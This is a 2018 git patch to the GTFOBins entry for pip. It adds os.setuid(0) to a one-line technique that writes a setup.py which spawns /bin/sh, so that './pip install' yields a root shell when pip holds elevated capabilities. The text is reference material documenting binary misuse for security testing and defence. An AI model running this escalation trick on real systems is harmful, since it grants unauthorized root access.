From 1321a330a551838362b58e944cce7cbed5cddcf9 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Thu, 27 Sep 2018 21:43:28 +0100 Subject: [PATCH] Fix pip setcap --- _gtfobins/pip.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_gtfobins/pip.md b/_gtfobins/pip.md index 41ec9ba..2b77a5c 100644 --- a/_gtfobins/pip.md +++ b/_gtfobins/pip.md @@ -79,6 +79,6 @@ functions: capabilities-enabled: - code: | TF=$(mktemp -d) - echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py + echo "import os; os.setuid(0); os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py ./pip install $TF ---